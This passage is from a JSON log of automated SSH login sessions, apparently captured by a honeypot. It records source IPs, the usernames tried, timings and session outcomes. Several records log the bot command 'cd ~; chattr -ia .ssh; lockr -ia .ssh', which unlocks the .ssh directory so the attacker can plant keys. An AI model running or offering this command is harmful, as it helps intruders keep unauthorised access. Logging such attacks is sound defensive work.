  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:45:06.659432+00:00",
  "ended_at": "2026-08-27T13:45:07.816672+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5701a0f0-0f32-4c57-b899-db7a0a34a067",
  "name": "lawful-nimble-eagle",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 53988,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:45:03.318300+00:00",
  "ended_at": "2026-08-27T13:45:05.001412+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5449c50b-b2d5-4e74-8999-89b428743c96",
  "name": "sunlit-creaky-penguin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.4.145.50",
  "src_port": 57110,
  "username": "halo",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 834,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:43:34.225939+00:00",
  "ended_at": "2026-08-27T13:43:35.031718+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2049
 },
 {
  "id": "ff8e5136-d7d2-4ab6-b7bf-c216847aeb70",
  "name": "knotted-civil-caribou",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 58894,
  "username": "halo",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:43:18.238712+00:00",
  "ended_at": "2026-08-27T13:43:19.103972+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bc929d09-d53f-47aa-a72e-1bdb2529a2e8",
  "name": "feathered-twilight-impala",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 57994,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:43:14.675518+00:00",
  "ended_at": "2026-08-27T13:43:16.565823+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7e98cbe3-8bbf-4116-a881-9aae1f9c9373",
  "name": "granite-icy-fossa",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 34968,
  "username": "simpel",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:41:32.994431+00:00",
  "ended_at": "2026-08-27T13:41:34.313672+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "795a6bd8-db1a-4b63-88d6-cfd68e3ba3cc",
  "name": "ancient-plush-badger",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 33912,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:41:29.210755+00:00",
  "ended_at": "2026-08-27T13:41:31.325656+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "232b3d49-58bb-4c88-8c35-152b08225734",
  "name": "stormy-gleaming-godwit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.4.145.50",
  "src_port": 32952,
  "username": "simpel",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:41:26.455100+00:00",
  "ended_at": "2026-08-27T13:41:27.285082+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "a0da66dc-1f8b-41b6-bc7a-b835cd42babe",
  "name": "wooded-emerald-heron",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "120.48.33.69",
  "src_port": 49468,
  "username": "hieu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:40:50.124803+00:00",
  "ended_at": "2026-08-27T13:44:51.953448+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "ce849b76-8909-425b-80e9-5b5c62f84f83",
  "name": "brisk-stormy-alpaca",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.4.145.50",
  "src_port": 37034,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 827,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:40:15.293996+00:00",
  "ended_at": "2026-08-27T13:40:16.146140+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2095
 },
 {
  "id": "ae88c9bc-81bc-4548-9f19-ded6c0846091",
  "name": "nameless-vaulted-porcupine",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 39020,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:39:58.641193+00:00",
  "ended_at": "2026-08-27T13:40:00.485678+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8dc47467-ee3a-4411-8bde-3437df057fac",
  "name": "ginger-electric-bowerbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 37938,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:39:55.181746+00:00",
  "ended_at": "2026-08-27T13:39:56.996212+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1276b334-d8f4-44cb-8043-67c41dc46e0b",
  "name": "courtly-languid-tapir",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "164.92.161.148",
  "src_port": 53940,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 314,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:38:14.619040+00:00",
  "ended_at": "2026-08-27T13:38:15.269839+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2046
 },
 {
  "id": "347b6ca1-7307-48a9-baf5-0be967f4b715",
  "name": "nimble-dutiful-penguin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "164.92.161.148",
  "src_port": 53956,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:38:06.779858+00:00",
  "ended_at": "2026-08-27T13:38:07.859605+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "547dd0d7-55c6-488b-9ffe-ea18beee5aaf",
  "name": "ivory-gleaming-marten",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "164.92.161.148",
  "src_port": 53944,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:38:04.487353+00:00",
  "ended_at": "2026-08-27T13:38:06.165411+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a98dcfac-0eb4-4c3e-ab36-64050a63c4a2",
  "name": "earnest-plucky-crossbill",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 46602,
  "username": "student",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:37:52.676423+00:00",
  "ended_at": "2026-08-27T13:37:54.007717+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9b6fd810-e1d0-4ee1-8206-8a91e8c2ee4e",
  "name": "leafy-scarlet-nightjar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 52358,
  "username": "manasa",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:34:40.913339+00:00",
  "ended_at": "2026-08-27T13:34:42.722497+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "af3b7aec-5a42-4c47-88a7-02d439e8fa22",
  "name": "watchful-nimble-gannet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 49038,
  "username": "vpnuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 794,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:11:34.264080+00:00",
  "ended_at": "2026-08-27T13:11:35.054224+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2258
 },
 {
  "id": "4f82b5fb-6d68-447f-b8b7-0bc4a5fcb46e",
  "name": "gentle-hollow-dotterel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 50320,
  "username": "vpnuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:11:18.745555+00:00",
  "ended_at": "2026-08-27T13:11:20.107741+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ff9ccae5-b94b-4ceb-abc9-95516a4accdd",
  "name": "quartz-shaded-rook",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 49048,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:11:15.823726+00:00",
  "ended_at": "2026-08-27T13:11:17.098400+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f00c17a5-4d18-4688-b503-11db1633996b",
  "name": "woven-fabled-polecat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 57484,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 327,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:10:07.280852+00:00",
  "ended_at": "2026-08-27T13:10:08.428732+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "7c00e4aa-3488-4bea-8bb2-f9440acaf674",
  "name": "nameless-lonesome-crane",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 38856,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:09:50.689062+00:00",
  "ended_at": "2026-08-27T13:09:51.813302+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "28ca9c99-8a9d-490c-a60e-61f70bf54920",
  "name": "rugged-solar-wigeon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 57492,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:09:48.578780+00:00",
  "ended_at": "2026-08-27T13:09:49.993647+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e5fce962-9da0-4f2e-821c-7189ba7b8c1c",
  "name": "bronzed-vigilant-caribou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 45808,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 319,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:08:36.969894+00:00",
  "ended_at": "2026-08-27T13:08:38.478631+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2250
 },
 {
  "id": "eff6efd8-4e18-42b1-a81a-2b11487826dd",
  "name": "wry-sullen-marmot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 46524,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 734,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:08:34.534956+00:00",
  "ended_at": "2026-08-27T13:08:35.347484+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "4a67f42d-5a36-461f-a737-cee38c3e6338",
  "name": "wry-balmy-turnstone",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 45816,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:08:21.560931+00:00",
  "ended_at": "2026-08-27T13:08:23.420447+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "643c3bf1-e0b6-4ccd-ac58-39060cf9beb6",
  "name": "twilight-blithe-merlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 45812,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:08:20.342643+00:00",
  "ended_at": "2026-08-27T13:08:20.972240+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "90fc4cff-bfd2-40a6-80dd-9195a13babf8",
  "name": "courtly-misty-wombat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 46516,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:08:19.035141+00:00",
  "ended_at": "2026-08-27T13:08:21.035011+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a09b2e8d-c74e-41a7-8a98-ba9250fe67bc",
  "name": "rambling-honest-whimbrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 46534,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:08:16.402446+00:00",
  "ended_at": "2026-08-27T13:08:17.577003+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a51727bf-109c-4e8a-a6ec-da8fe12737a8",
  "name": "creaky-brave-wombat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 42762,
  "username": "ardi",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 328,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:08:00.808131+00:00",
  "ended_at": "2026-08-27T13:08:02.709755+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2247
 },
 {
  "id": "df41709d-64d3-4562-9836-4ca6ac287ced",
  "name": "weathered-brisk-loris",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 42784,
  "username": "ardi",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:07:45.770102+00:00",
  "ended_at": "2026-08-27T13:07:47.223233+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "496678f4-e522-4fdd-80b6-5a8aba4c82fc",
  "name": "proud-placid-finch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 42778,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:07:44.289331+00:00",
  "ended_at": "2026-08-27T13:07:45.115360+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e2827558-c0bf-403f-887a-ceed52b5ac6e",
  "name": "ashen-autumn-nuthatch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 52626,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 297,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:06:37.211124+00:00",
  "ended_at": "2026-08-27T13:06:39.140279+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "bf51edf9-8aa7-445b-9559-41f3e4ad19b4",
  "name": "steady-dewy-cicada",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 52632,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:06:21.822701+00:00",
  "ended_at": "2026-08-27T13:06:22.986962+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "59a06842-b008-47bd-90f5-11fc6016047a",
  "name": "sterling-plucky-owl",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 52630,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:06:20.166479+00:00",
  "ended_at": "2026-08-27T13:06:21.227315+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "98f7846c-2b00-4d02-911d-880d43d131a8",
  "name": "early-salty-marmot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 43030,
  "username": "pivpn",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 328,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:06:02.636910+00:00",
  "ended_at": "2026-08-27T13:06:04.735285+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2258
 },
 {
  "id": "f22f078d-71e6-4fa6-9f72-21f02134b0ab",
  "name": "breezy-dewy-moorhen",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 43052,
  "username": "pivpn",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:05:44.169440+00:00",
  "ended_at": "2026-08-27T13:05:46.154659+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9885b641-afdd-4307-bf50-787bdc971bc8",
  "name": "arctic-brazen-dolphin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 43038,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:05:42.444682+00:00",
  "ended_at": "2026-08-27T13:05:43.476466+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e6a2b5f4-0d19-4c58-87c1-8d48697be742",
  "name": "merry-ivory-sable",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 43500,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:05:26.428474+00:00",
  "ended_at": "2026-08-27T13:05:28.473233+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b1086597-06dc-4518-9751-fb206b14ee80",
  "name": "ashen-gilded-vole",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 43498,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:05:22.744051+00:00",
  "ended_at": "2026-08-27T13:05:24.730143+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "06b773c3-cdcb-4622-8e22-7ade1bcc10d8",
  "name": "proud-gallant-whimbrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 37892,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:05:19.157578+00:00",
  "ended_at": "2026-08-27T13:05:20.455268+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "459198e0-3ad0-4842-ac57-15bd9617cee7",
  "name": "alpine-mindful-meerkat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 39800,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 298,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:04:33.784479+00:00",
  "ended_at": "2026-08-27T13:04:35.010501+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "495b9dcc-5498-4d32-8fdd-007068a0e981",
  "name": "gleaming-ivory-skua",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 58480,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:04:17.828089+00:00",
  "ended_at": "2026-08-27T13:04:18.764390+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2cd7ed48-7673-44f3-b81e-5b43965843b8",
  "name": "northern-thawing-mallard",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 58474,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:04:15.467749+00:00",
  "ended_at": "2026-08-27T13:04:17.244309+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5a3174d7-8e96-4b90-aa2a-2e5a18678ffd",
  "name": "gilded-gnarled-starling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 47522,
  "username": "user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 329,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:04:05.419096+00:00",
  "ended_at": "2026-08-27T13:04:06.597421+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2257
 },
 {
  "id": "047a388a-5b15-466e-8856-1472d37c2eed",
  "name": "ginger-fearless-stonechat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 60034,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 438,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:04:04.740416+00:00",
  "ended_at": "2026-08-27T13:04:05.848593+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "f928b2c1-6e1f-4378-8792-44b1efdedfc8",
  "name": "fearless-buoyant-marten",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 60066,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:03:47.987496+00:00",
  "ended_at": "2026-08-27T13:03:48.912921+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bf9f016f-d870-42cf-82a8-1f87917f7c69",
  "name": "barren-humble-pika",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 60050,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:03:45.842089+00:00",
  "ended_at": "2026-08-27T13:03:47.107465+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "faf1093c-fbe7-455c-ae5a-153e480dd1f5",
  "name": "regal-tranquil-warbler",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 47534,
  "username": "user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:03:38.522792+00:00",
  "ended_at": "2026-08-27T13:03:40.356568+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "75512b79-b954-4daf-8ed2-8f19930adb99",
  "name": "muted-ivory-catbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 47526,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
